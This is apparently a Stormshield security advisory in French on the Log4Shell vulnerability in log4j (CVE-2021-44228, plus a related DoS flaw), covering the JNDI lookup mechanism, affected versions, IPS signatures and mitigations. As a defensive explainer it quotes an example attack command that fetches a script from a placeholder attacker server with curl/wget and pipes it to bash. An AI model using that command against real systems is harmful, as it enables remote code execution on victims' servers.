La découverte de la vulnérabilité Zero-day Log4Shell a fait l’effet d’une bombe à l’approche des fêtes de fin d’année. Le point sur une vulnérabilité critique, avec l’équipe Stormshield Customer Security Lab. Et retrouvez les impacts de cette vulnérabilité Log4Shell sur les produits Stormshield en bas de page.
Cette vulnérabilité Log4Shell inquiète énormément la communauté sécurité. D’une part, car elle est déjà exploitée mais, d’autre part, car les mises à jour de ce type de logiciel peuvent être longues. Très longues… Certains spécialistes estiment qu’il faudra plusieurs années avant que tous les logiciels impactés soient patchés.
Le contexte de la vulnérabilité Log4Shell
Ce 9 décembre 2021, une vulnérabilité Zero-day de type RCE (Remote Code Execution) concernant la librairie log4j a été découverte par Chen Zhaojun. Elle est désormais connue sous le nom de vulnérabilité Log4Shell ou via le numéro CVE-2021-44228. Cette librairie est largement utilisée dans le framework Apache et son écosystème. Son exploitation permettant la prise de contrôle à distance du serveur, l’impact de la vulnérabilité est par conséquent très élevé. À tel point que son score CVSS est de 10, soit le plus élevé de cette échelle de notation. Elle peut être classée dans une vulnérabilité critique de type supply chain.
Un POC a été mis à disposition sur GitHub dès le 9 décembre, et propose par ailleurs des techniques de contournement des Web Application Firewalls.
Mise à jour du 15/12/2021 avec la CVE-2021-45056 : une autre vulnérabilité relative au module JNDI a été découverte et permet un déni de service. Son score CVSS est de 3.7.
Les détails techniques de la vulnérabilité Log4Shell
La librairie log4j permet la génération de logs pour les applications Java. Elle dispose d’une fonctionnalité appelée JNDI Lookup (Java Naming and Directory Interface) qui procède automatiquement à l’interrogation de serveur LDAP (ou autre serveur relatif à JNDI) lorsqu’une requête spécifique est formulée.
Il est possible pour un attaquant de forger un log ou un paramètre spécifique, qui, lorsqu’il est parcouru par le programme, conduit la fonction JNDI à effectuer une requête sur le serveur de l’attaquant,
- soit pour demander l’exécution d’une commande (par exemple curl -s SERVERIP:5874/[target IP]:8080||wget -q -O- SERVERIP:5874/[target IP]:8080)|bash) ;
- soit exécuter simplement un shutdown now pour réaliser un déni de service ;
- ou encore pour récupérer la charge malveillante et l’exécuter sur le serveur cible.
Voici un schéma synthétisant l’exploitation de la vulnérabilité Log4Shell :
Versions impactées par la CVE-2021-44228
Les versions concernées sont Log4j entre la 2.0beta9 et la 2.14.1, la fonctionnalité de « message lookup substitution » est activée par défaut. À partir de la version 2.15, la fonctionnalité est désactivée par défaut.
Mise à jour du 15/12/2021 avec la CVE-2021-45056 : la version 2.15.0 reste vulnérable à un déni de service via l’utilisation du champ {ctx :}.
Logiciels impactés par la CVE-2021-44228
S’agissant d’une vulnérabilité dans une bibliothèque largement embarquée dans des outils « clé en main », il est impossible de dresser une liste précise de tous les logiciels vulnérables. Cependant, de grands noms comme Apple, Steam, Twitter et l’éditeur de Minecraft sont impactés.
Pour plus de détails, ce GitHub recense l’exposition de différents éditeurs à cette vulnérabilité Log4Shell.
Les moyens de protection fournis par Stormshield face à la la vulnérabilité Log4Shell
Protection avec Stormshield Network Security
Plusieurs signatures IPS ont été publiées sur les firewalls Stormshield Network Security (SNS), permettant de détecter et bloquer les tentatives d’écriture de logs contenant une instruction JNDI, qui seraient contenues dans une en-tête HTTP ou dans le corps de la requête. Celles-ci fonctionnent donc via l’analyse du trafic HTTP, qui doit donc être en clair lors de son inspection. Si le flux est chiffré, le proxy SSL doit être activé (flux sortant), ou alors le déchiffrement doit se faire sur un autre équipement en amont (flux entrant).
Ces signatures sont :
- http:client:header.217 → Log4j2 RCE attempt using JNDI on HTTP header (CVE-2021-44228)
- http:client:data.160 → Log4j2 RCE attempt using JNDI on HTTP POST request (CVE-2021-44228)
Mise à jour du 15/12/2021 avec la CVE-2021-45056 : suite à la communication Apache, deux nouvelles signatures ont été publiées permettant de prévenir d’une nouvelle exploitation. Il s’agit de :
- http:client:header.218 → DoS attempt on a Log4j2 service using malicious HTTP header (CVE-2021-45056)
- http:client:data.161 → DoS attempt on a Log4j2 service using malicious HTTP POST request (CVE-2021-45056)
Indice de confiance de la protection proposée par Stormshield
Indice de confiance de l’absence de faux positif
Protection avec Stormshield Endpoint Security
Les différentes versions de SES (7.2 et Evolution) étant des solutions de protection de postes et serveurs, elles ne vont pas bloquer l’exploitation de cette vulnérabilité Log4Shell directement. Par contre, elles pourront empêcher le payload de s’exécuter correctement et ainsi éviter tout impact. Le blocage dépendra du payload utilisé.
Recommandations face à la vulnérabilité Log4Shell
La première recommandation est la mise à jour de log4j en version 2.16.
Si cela n’est pas possible, il faut supprimer la classe JndiLookup du fichier .jar core : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Les impacts de la vulnérabilité Log4Shell sur les produits Stormshield
L’étude d’impact a été menée sur l’ensemble de la gamme de produit Stormshield, incluant les services SaaS, donc voici le résultat.
Seule la solution SVC en version 1.6 est vulnérable. Un contournement est proposé sur notre site Advisories.
